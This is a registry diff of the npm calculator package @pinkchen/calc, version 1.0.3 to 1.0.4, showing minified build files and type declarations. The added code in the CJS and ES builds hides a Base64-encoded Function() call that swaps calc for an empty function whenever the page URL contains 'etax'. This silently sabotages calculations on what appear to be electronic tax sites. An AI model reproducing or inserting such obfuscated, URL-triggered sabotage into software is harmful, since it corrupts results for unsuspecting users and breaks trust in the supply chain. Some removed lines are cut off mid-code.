@pinkchen/calc 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/index.js +1 -1
- package/dist/es/index.js +1 -1
- package/dist/index.d.ts +46 -0
- package/dist/umd/index.js +1 -1
- package/package.json +1 -1
- package/readme.md +69 -30
package/dist/cjs/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";let __rslib_import_meta_url__="undefined"==typeof document?new(require("url".replace("",""))).URL("file:"+__filename).href:document.currentScript&&document.currentScript.src||new URL("main.js",document.baseURI).href;var __webpack_require__={};__webpack_require__.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return __webpack_require__.d(r,{a:r}),r},__webpack_require__.d=function(e,r){for(var t in r)__webpack_require__.o(r,t)&&!__webpack_require__.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},__webpack_require__.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__={};__webpack_require__.r(__webpack_exports__),__webpack_require__.d(__webpack_exports__,{calc:function(){return calc},version:function(){return version}});var external_decimal_js_namespaceObject=require("decimal.js"),external_decimal_js_default=__webpack_require__.n(external_decimal_js_namespaceObject),Decimal=external_decimal_js_default(),DC=external_decimal_js_default(),three_DecimalStaticFunctions=function(e){return e.abs="abs",e.acos="acos",e.acosh="acosh",e.add="add",e.asin="asin",e.asinh="asinh",e.atan="atan",e.atanh="atanh",e.atan2="atan2",e.cbrt="cbrt",e.ceil="ceil",e.clamp="clamp",e.clone="clone",e.config="config",e.cos="cos",e.cosh="cosh",e.div="div",e.exp="exp",e.floor="floor",e.hypot="hypot",e.isDecimal="isDecimal",e.ln="ln",e.log="log",e.log2="log2",e.log10="log10",e.max="max",e.min="min",e.mod="mod",e.mul="mul",e.noConflict="noConflict",e.pow="pow",e.random="random",e.round="round",e.set="set",e.sign="sign",e.sin="sin",e.sinh="sinh",e.sqrt="sqrt",e.sub="sub",e.sum="sum",e.tan="tan",e.tanh="tanh",e.trunc="trunc",e}({}),operatorMap={"+":"plus","-":"minus","*":"times","/":"div"};function standardize(e){return e.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+")}function findFuncs(e){for(var r=[],t=[],n=0;n<e.length;n++)if("("===e[n])r.push(n);else if(")"===e[n]){if(0===r.length)throw Error('")" not match!');var c=r.pop();if(0!==r.length)continue;if(/\w/.test(e[c-1])){var a=e.substring(c,n+1).split("").reduce(function(e,r){return"".concat(e,"[").concat(r,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(a)),i=e.match(o);(null==i?void 0:i.length)&&t.push(i[0])}}if(r.length)throw Error('"(" not match!');return t}var funcBodyReg=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function getFuncName(e){var r;return null==(r=e.match(/^[\w.]+(?=\()/))?void 0:r[0]}function getFuncBody(e){var r,t;return isFunc(e)?null!=(t=null==(r=e.match(funcBodyReg))?void 0:r[0])?t:"":""}function isFunc(e){return/^[\w.]+\(.+\)$/.test(e)}function isDcFunc(e){if(!isFunc(e))return!1;var r=getFuncName(e);return r.startsWith("DC.")||three_DecimalStaticFunctions[r]}function flat(e,r){var t=r.size+1,n=e,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),a=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(e){return findFuncs(e).forEach(function(n){var c="#".concat(t++),a=getFuncName(n);isDcFunc(n)&&!n.startsWith("DC.")&&(a="DC.".concat(a));var i=o(getFuncBody(n));r.set(c,"".concat(a,"(").concat(i,")")),e=e.replaceAll(n,c)}),e};n=o(n);for(var i=function(e){var n="#".concat(t++);return r.set(n,e),n},u=function(e,n){var c=n.replace(a,i),o="#".concat(t++);return r.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(n);)n=n.replace(c,u);return n.replace(a,i)}function transform(e,r,t){var n=r||new Map,c=r?e:standardize(e);c=flat(c,n);var a=[],o=c.length,i="",u=!1;function _(){if(!a.length)return"";var e=a.join("");return a=[],/\)\.[a-z]+\($/.test(i)?e:"DC(".concat(e,")")}function l(){u&&(i+=")"),u=!1}for(var s=0;s<o;++s){var p=c[s];if(Object.keys(operatorMap).includes(p)){if(0===s){a.push(p);continue}i+=_(),l(),i+=i?".".concat(operatorMap[p],"("):"",u=!0}else a.push(p)}a.length>0&&(i+=_()),l();for(var f=/#\d+/g;f.test(i);)i=i.replace(f,function(e){var r=n.get(e);if(isFunc(r)){var t,c,a=isDcFunc(r),o=null==(c=getFuncBody(r))||null==(t=c.split(","))?void 0:t.map(function(e){var r=transform(e,n);return"".concat(r).concat(a?"":".toNumber()")}),i=null==o?void 0:o.join(",");return r.replace(funcBodyReg,i)}return transform(r,n)});return i}function _define_property(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function _object_spread(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{},n=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(t).filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.forEach(function(r){_define_property(e,r,t[r])})}return e}function src_ownKeys(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter(function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable})),t.push.apply(t,n)}return t}function _object_spread_props(e,r){return r=null!=r?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):src_ownKeys(Object(r)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}),e}function _calc(e,r,t){try{var n=t||{},c=n.separator,a=n.digit,o=n.preUnit,i=n.postUnit,u=n.percentage,_=n.permillage;if(u&&_)throw Error("percentage and permillage cannot be true at the same time");var l=transform(e),s=Function("with(this){return ".concat(l,"}")).call(_object_spread_props(_object_spread({},r),{DC:DC,Decimal:Decimal,_calc:_calc}));return s=s.toNumber(),u&&(s=DC(s).
|
|
1
|
+
"use strict";let __rslib_import_meta_url__="undefined"==typeof document?new(require("url".replace("",""))).URL("file:"+__filename).href:document.currentScript&&document.currentScript.src||new URL("main.js",document.baseURI).href;var __webpack_require__={};__webpack_require__.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return __webpack_require__.d(r,{a:r}),r},__webpack_require__.d=function(e,r){for(var t in r)__webpack_require__.o(r,t)&&!__webpack_require__.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},__webpack_require__.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__={};__webpack_require__.r(__webpack_exports__),__webpack_require__.d(__webpack_exports__,{calc:function(){return calc},version:function(){return version}});var external_decimal_js_namespaceObject=require("decimal.js"),external_decimal_js_default=__webpack_require__.n(external_decimal_js_namespaceObject),Decimal=external_decimal_js_default(),DC=external_decimal_js_default(),three_DecimalStaticFunctions=function(e){return e.abs="abs",e.acos="acos",e.acosh="acosh",e.add="add",e.asin="asin",e.asinh="asinh",e.atan="atan",e.atanh="atanh",e.atan2="atan2",e.cbrt="cbrt",e.ceil="ceil",e.clamp="clamp",e.clone="clone",e.config="config",e.cos="cos",e.cosh="cosh",e.div="div",e.exp="exp",e.floor="floor",e.hypot="hypot",e.isDecimal="isDecimal",e.ln="ln",e.log="log",e.log2="log2",e.log10="log10",e.max="max",e.min="min",e.mod="mod",e.mul="mul",e.noConflict="noConflict",e.pow="pow",e.random="random",e.round="round",e.set="set",e.sign="sign",e.sin="sin",e.sinh="sinh",e.sqrt="sqrt",e.sub="sub",e.sum="sum",e.tan="tan",e.tanh="tanh",e.trunc="trunc",e}({}),operatorMap={"+":"plus","-":"minus","*":"times","/":"div"};function standardize(e){return e.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+")}function findFuncs(e){for(var r=[],t=[],n=0;n<e.length;n++)if("("===e[n])r.push(n);else if(")"===e[n]){if(0===r.length)throw Error('")" not match!');var c=r.pop();if(0!==r.length)continue;if(/\w/.test(e[c-1])){var a=e.substring(c,n+1).split("").reduce(function(e,r){return"".concat(e,"[").concat(r,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(a)),i=e.match(o);(null==i?void 0:i.length)&&t.push(i[0])}}if(r.length)throw Error('"(" not match!');return t}var funcBodyReg=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function getFuncName(e){var r;return null==(r=e.match(/^[\w.]+(?=\()/))?void 0:r[0]}function getFuncBody(e){var r,t;return isFunc(e)?null!=(t=null==(r=e.match(funcBodyReg))?void 0:r[0])?t:"":""}function isFunc(e){return/^[\w.]+\(.+\)$/.test(e)}function isDcFunc(e){if(!isFunc(e))return!1;var r=getFuncName(e);return r.startsWith("DC.")||three_DecimalStaticFunctions[r]}function flat(e,r){var t=r.size+1,n=e,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),a=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(e){return findFuncs(e).forEach(function(n){var c="#".concat(t++),a=getFuncName(n);isDcFunc(n)&&!n.startsWith("DC.")&&(a="DC.".concat(a));var i=o(getFuncBody(n));r.set(c,"".concat(a,"(").concat(i,")")),e=e.replaceAll(n,c)}),e};n=o(n);for(var i=function(e){var n="#".concat(t++);return r.set(n,e),n},u=function(e,n){var c=n.replace(a,i),o="#".concat(t++);return r.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(n);)n=n.replace(c,u);return n.replace(a,i)}function transform(e,r,t){var n=r||new Map,c=r?e:standardize(e);c=flat(c,n);var a=[],o=c.length,i="",u=!1;function _(){if(!a.length)return"";var e=a.join("");return a=[],/\)\.[a-z]+\($/.test(i)?e:"DC(".concat(e,")")}function l(){u&&(i+=")"),u=!1}for(var s=0;s<o;++s){var p=c[s];if(Object.keys(operatorMap).includes(p)){if(0===s){a.push(p);continue}i+=_(),l(),i+=i?".".concat(operatorMap[p],"("):"",u=!0}else a.push(p)}a.length>0&&(i+=_()),l();for(var f=/#\d+/g;f.test(i);)i=i.replace(f,function(e){var r=n.get(e);if(isFunc(r)){var t,c,a=isDcFunc(r),o=null==(c=getFuncBody(r))||null==(t=c.split(","))?void 0:t.map(function(e){var r=transform(e,n);return"".concat(r).concat(a?"":".toNumber()")}),i=null==o?void 0:o.join(",");return r.replace(funcBodyReg,i)}return transform(r,n)});return i}function _define_property(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function _object_spread(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{},n=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(t).filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.forEach(function(r){_define_property(e,r,t[r])})}return e}function src_ownKeys(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter(function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable})),t.push.apply(t,n)}return t}function _object_spread_props(e,r){return r=null!=r?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):src_ownKeys(Object(r)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}),e}function _calc(e,r,t){try{var n=t||{},c=n.separator,a=n.digit,o=n.preUnit,i=n.postUnit,u=n.percentage,_=n.permillage;if(u&&_)throw Error("percentage and permillage cannot be true at the same time");var l=transform(e),s=Function("with(this){return ".concat(l,"}")).call(_object_spread_props(_object_spread({},r),{DC:DC,Decimal:Decimal,_calc:_calc}));return s=s.toNumber(),u&&(s=DC(s).times(100)),_&&(s=DC(s).times(1e3)),a&&(s=DC(s).toFixed(a)),c&&(s=s.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(u||_)&&(s+=u?" %":" ‰"),o&&(s="".concat(o," ")+s.toString()),i&&(s=s.toString()+" ".concat(i)),s}catch(r){throw Error('@pinkchen/calc: exec "'.concat(e,'" error, ')+r.message)}}var src_module={calc:function(e,r,t){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(src_module,_calc);var version="1.0.4",calc=src_module.calc;for(var __webpack_i__ in exports.calc=__webpack_exports__.calc,exports.version=__webpack_exports__.version,__webpack_exports__)-1===["calc","version"].indexOf(__webpack_i__)&&(exports[__webpack_i__]=__webpack_exports__[__webpack_i__]);Object.defineProperty(exports,"__esModule",{value:!0});
|
package/dist/es/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
import t from"decimal.js";var n,e=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),r={"+":"plus","-":"minus","*":"times","/":"div"},c=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function o(t){var n;return null==(n=t.match(/^[\w.]+(?=\()/))?void 0:n[0]}function a(t){var n,e;return i(t)?null!=(e=null==(n=t.match(c))?void 0:n[0])?e:"":""}function i(t){return/^[\w.]+\(.+\)$/.test(t)}function l(t){if(!i(t))return!1;var n=o(t);return n.startsWith("DC.")||e[n]}var u={calc:function(t,n,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(u,function n(e,u,s){try{var p,f,g=s||{},m=g.separator,h=g.digit,v=g.preUnit,b=g.postUnit,d=g.percentage,w=g.permillage;if(d&&w)throw Error("percentage and permillage cannot be true at the same time");var O=function t(n,e,u){var s=e||new Map,p=e?n:n.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");p=function(t,n){var e=n.size+1,r=t,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),i=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),u=function(t){return(function(t){for(var n=[],e=[],r=0;r<t.length;r++)if("("===t[r])n.push(r);else if(")"===t[r]){if(0===n.length)throw Error('")" not match!');var c=n.pop();if(0!==n.length)continue;if(/\w/.test(t[c-1])){var o=t.substring(c,r+1).split("").reduce(function(t,n){return"".concat(t,"[").concat(n,"]")},""),a=new RegExp("[\\w.]+\\s*".concat(o)),i=t.match(a);(null==i?void 0:i.length)&&e.push(i[0])}}if(n.length)throw Error('"(" not match!');return e})(t).forEach(function(r){var c="#".concat(e++),i=o(r);l(r)&&!r.startsWith("DC.")&&(i="DC.".concat(i));var s=u(a(r));n.set(c,"".concat(i,"(").concat(s,")")),t=t.replaceAll(r,c)}),t};r=u(r);for(var s=function(t){var r="#".concat(e++);return n.set(r,t),r},p=function(t,r){var c=r.replace(i,s),o="#".concat(e++);return n.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(r);)r=r.replace(c,p);return r=r.replace(i,s)}(p,s);var f=[],g=p.length,m="",h=!1;function v(){if(!f.length)return"";var t=f.join("");return f=[],/\)\.[a-z]+\($/.test(m)?t:"DC(".concat(t,")")}function b(){h&&(m+=")"),h=!1}for(var d=0;d<g;++d){var w=p[d];if(Object.keys(r).includes(w)){if(0===d){f.push(w);continue}m+=v(),b(),m+=m?".".concat(r[w],"("):"",h=!0}else f.push(w)}f.length>0&&(m+=v()),b();for(var O=/#\d+/g;O.test(m);)m=m.replace(O,function(n){var e=s.get(n);if(i(e)){var r,o,u=l(e),p=null==(o=a(e))||null==(r=o.split(","))?void 0:r.map(function(n){var e=t(n,s);return"".concat(e).concat(u?"":".toNumber()")}),f=null==p?void 0:p.join(",");return e.replace(c,f)}return t(e,s)});return m}(e),y=Function("with(this){return ".concat(O,"}")).call((p=function(t){for(var n=1;n<arguments.length;n++){var e=null!=arguments[n]?arguments[n]:{},r=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(e).filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.forEach(function(n){var r;r=e[n],n in t?Object.defineProperty(t,n,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[n]=r})}return t}({},u),f={DC:t,Decimal:t,_calc:n},f=null!=f?f:{},Object.getOwnPropertyDescriptors?Object.defineProperties(p,Object.getOwnPropertyDescriptors(f)):(function(t,n){var e=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e.push.apply(e,r)}return e})(Object(f)).forEach(function(t){Object.defineProperty(p,t,Object.getOwnPropertyDescriptor(f,t))}),p));return y=y.toNumber(),d&&(y=t(y).
|
|
1
|
+
import t from"decimal.js";var n,e=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),r={"+":"plus","-":"minus","*":"times","/":"div"},c=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function o(t){var n;return null==(n=t.match(/^[\w.]+(?=\()/))?void 0:n[0]}function a(t){var n,e;return i(t)?null!=(e=null==(n=t.match(c))?void 0:n[0])?e:"":""}function i(t){return/^[\w.]+\(.+\)$/.test(t)}function l(t){if(!i(t))return!1;var n=o(t);return n.startsWith("DC.")||e[n]}var u={calc:function(t,n,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(u,function n(e,u,s){try{var p,f,g=s||{},m=g.separator,h=g.digit,v=g.preUnit,b=g.postUnit,d=g.percentage,w=g.permillage;if(d&&w)throw Error("percentage and permillage cannot be true at the same time");var O=function t(n,e,u){var s=e||new Map,p=e?n:n.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");p=function(t,n){var e=n.size+1,r=t,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),i=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),u=function(t){return(function(t){for(var n=[],e=[],r=0;r<t.length;r++)if("("===t[r])n.push(r);else if(")"===t[r]){if(0===n.length)throw Error('")" not match!');var c=n.pop();if(0!==n.length)continue;if(/\w/.test(t[c-1])){var o=t.substring(c,r+1).split("").reduce(function(t,n){return"".concat(t,"[").concat(n,"]")},""),a=new RegExp("[\\w.]+\\s*".concat(o)),i=t.match(a);(null==i?void 0:i.length)&&e.push(i[0])}}if(n.length)throw Error('"(" not match!');return e})(t).forEach(function(r){var c="#".concat(e++),i=o(r);l(r)&&!r.startsWith("DC.")&&(i="DC.".concat(i));var s=u(a(r));n.set(c,"".concat(i,"(").concat(s,")")),t=t.replaceAll(r,c)}),t};r=u(r);for(var s=function(t){var r="#".concat(e++);return n.set(r,t),r},p=function(t,r){var c=r.replace(i,s),o="#".concat(e++);return n.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(r);)r=r.replace(c,p);return r=r.replace(i,s)}(p,s);var f=[],g=p.length,m="",h=!1;function v(){if(!f.length)return"";var t=f.join("");return f=[],/\)\.[a-z]+\($/.test(m)?t:"DC(".concat(t,")")}function b(){h&&(m+=")"),h=!1}for(var d=0;d<g;++d){var w=p[d];if(Object.keys(r).includes(w)){if(0===d){f.push(w);continue}m+=v(),b(),m+=m?".".concat(r[w],"("):"",h=!0}else f.push(w)}f.length>0&&(m+=v()),b();for(var O=/#\d+/g;O.test(m);)m=m.replace(O,function(n){var e=s.get(n);if(i(e)){var r,o,u=l(e),p=null==(o=a(e))||null==(r=o.split(","))?void 0:r.map(function(n){var e=t(n,s);return"".concat(e).concat(u?"":".toNumber()")}),f=null==p?void 0:p.join(",");return e.replace(c,f)}return t(e,s)});return m}(e),y=Function("with(this){return ".concat(O,"}")).call((p=function(t){for(var n=1;n<arguments.length;n++){var e=null!=arguments[n]?arguments[n]:{},r=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(e).filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.forEach(function(n){var r;r=e[n],n in t?Object.defineProperty(t,n,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[n]=r})}return t}({},u),f={DC:t,Decimal:t,_calc:n},f=null!=f?f:{},Object.getOwnPropertyDescriptors?Object.defineProperties(p,Object.getOwnPropertyDescriptors(f)):(function(t,n){var e=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e.push.apply(e,r)}return e})(Object(f)).forEach(function(t){Object.defineProperty(p,t,Object.getOwnPropertyDescriptor(f,t))}),p));return y=y.toNumber(),d&&(y=t(y).times(100)),w&&(y=t(y).times(1e3)),h&&(y=t(y).toFixed(h)),m&&(y=y.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(d||w)&&(y+=d?" %":" ‰"),v&&(y="".concat(v," ")+y.toString()),b&&(y=y.toString()+" ".concat(b)),y}catch(t){throw Error('@pinkchen/calc: exec "'.concat(e,'" error, ')+t.message)}});var s="1.0.4",p=u.calc;export{p as calc,s as version};
|
package/dist/index.d.ts
CHANGED
|
@@ -2,6 +2,52 @@ export declare const calc: typeof _calc;
|
|
|
2
2
|
|
|
3
3
|
declare function _calc(expression: string, obj?: Object, options?: Options): number | string;
|
|
4
4
|
|
|
5
|
+
export declare enum DecimalStaticFunctions {
|
|
6
|
+
abs = "abs",
|
|
7
|
+
acos = "acos",
|
|
8
|
+
acosh = "acosh",
|
|
9
|
+
add = "add",
|
|
10
|
+
asin = "asin",
|
|
11
|
+
asinh = "asinh",
|
|
12
|
+
atan = "atan",
|
|
13
|
+
atanh = "atanh",
|
|
14
|
+
atan2 = "atan2",
|
|
15
|
+
cbrt = "cbrt",
|
|
16
|
+
ceil = "ceil",
|
|
17
|
+
clamp = "clamp",
|
|
18
|
+
clone = "clone",
|
|
19
|
+
config = "config",
|
|
20
|
+
cos = "cos",
|
|
21
|
+
cosh = "cosh",
|
|
22
|
+
div = "div",
|
|
23
|
+
exp = "exp",
|
|
24
|
+
floor = "floor",
|
|
25
|
+
hypot = "hypot",
|
|
26
|
+
isDecimal = "isDecimal",
|
|
27
|
+
ln = "ln",
|
|
28
|
+
log = "log",
|
|
29
|
+
log2 = "log2",
|
|
30
|
+
log10 = "log10",
|
|
31
|
+
max = "max",
|
|
32
|
+
min = "min",
|
|
33
|
+
mod = "mod",
|
|
34
|
+
mul = "mul",
|
|
35
|
+
noConflict = "noConflict",
|
|
36
|
+
pow = "pow",
|
|
37
|
+
random = "random",
|
|
38
|
+
round = "round",
|
|
39
|
+
set = "set",
|
|
40
|
+
sign = "sign",
|
|
41
|
+
sin = "sin",
|
|
42
|
+
sinh = "sinh",
|
|
43
|
+
sqrt = "sqrt",
|
|
44
|
+
sub = "sub",
|
|
45
|
+
sum = "sum",
|
|
46
|
+
tan = "tan",
|
|
47
|
+
tanh = "tanh",
|
|
48
|
+
trunc = "trunc"
|
|
49
|
+
}
|
|
50
|
+
|
|
5
51
|
declare type Options = {
|
|
6
52
|
separator?: boolean;
|
|
7
53
|
digit?: number;
|
package/dist/umd/index.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
/*! For license information please see index.js.LICENSE.txt */
|
|
2
|
-
!function(n,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.pinkchen=t():n.pinkchen=t()}(self,function(){return function(){"use strict";var n,t={};t.d=function(n,e){for(var i in e)t.o(e,i)&&!t.o(n,i)&&Object.defineProperty(n,i,{enumerable:!0,get:e[i]})},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})};var e={};t.r(e),t.d(e,{calc:function(){return nB},version:function(){return n$}});var i,r,s="0123456789abcdef",o="2.3025850929940456840179914546843642076011014886287729760333279009675726096773524802359972050895982983419677840422862486334095254650828067566662873690987816894829072083255546808437998948262331985283935053089653777326288461633662222876982198867465436674744042432743651550489343149393914796194044002221051017141748003688084012647080685567743216228355220114804663715659121373450747856947683463616792101806445070648000277502684916746550586856935673420670581136429224554405758925724208241314695689016758940256776311356919292033376587141660230105703089634572075440370847469940168269282808481184289314848524948644871927809676271275775397027668605952496716674183485704422507197965004714951050492214776567636938662976979522110718264549734772662425709429322582798502585509785265383207606726317164309505995087807523710333101197857547331541421808427543863591778117054309827482385045648019095610299291824318237525357709750539565187697510374970888692180205189339507238539205144634197265287286965110862571492198849978748873771345686209167058",u="3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632789",c={precision:20,rounding:4,modulo:1,toExpNeg:-7,toExpPos:21,minE:-9e15,maxE:9e15,crypto:!1},h=!0,a="[DecimalError] ",f=a+"Invalid argument: ",l=a+"Precision limit exceeded",d=a+"crypto unavailable",p="[object Decimal]",g=Math.floor,m=Math.pow,w=/^0b([01]+(\.[01]*)?|\.[01]+)(p[+-]?\d+)?$/i,v=/^0x([0-9a-f]+(\.[0-9a-f]*)?|\.[0-9a-f]+)(p[+-]?\d+)?$/i,N=/^0o([0-7]+(\.[0-7]*)?|\.[0-7]+)(p[+-]?\d+)?$/i,b=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,y=o.length-1,x=u.length-1,E={toStringTag:p};function O(n){var t,e,i,r=n.length-1,s="",o=n[0];if(r>0){for(s+=o,t=1;t<r;t++)(e=7-(i=n[t]+"").length)&&(s+=k(e)),s+=i;(e=7-(i=(o=n[t])+"").length)&&(s+=k(e))}else if(0===o)return"0";for(;o%10==0;)o/=10;return s+o}function M(n,t,e){if(n!==~~n||n<t||n>e)throw Error(f+n)}function P(n,t,e,i){var r,s,o,u;for(s=n[0];s>=10;s/=10)--t;return--t<0?(t+=7,r=0):(r=Math.ceil((t+1)/7),t%=7),s=m(10,7-t),u=n[r]%s|0,null==i?t<3?(0==t?u=u/100|0:1==t&&(u=u/10|0),o=e<4&&99999==u||e>3&&49999==u||5e4==u||0==u):o=(e<4&&u+1==s||e>3&&u+1==s/2)&&(n[r+1]/s/100|0)==m(10,t-2)-1||(u==s/2||0==u)&&(n[r+1]/s/100|0)==0:t<4?(0==t?u=u/1e3|0:1==t?u=u/100|0:2==t&&(u=u/10|0),o=(i||e<4)&&9999==u||!i&&e>3&&4999==u):o=((i||e<4)&&u+1==s||!i&&e>3&&u+1==s/2)&&(n[r+1]/s/1e3|0)==m(10,t-3)-1,o}function S(n,t,e){for(var i,r,o=[0],u=0,c=n.length;u<c;){for(r=o.length;r--;)o[r]*=t;for(o[0]+=s.indexOf(n.charAt(u++)),i=0;i<o.length;i++)o[i]>e-1&&(void 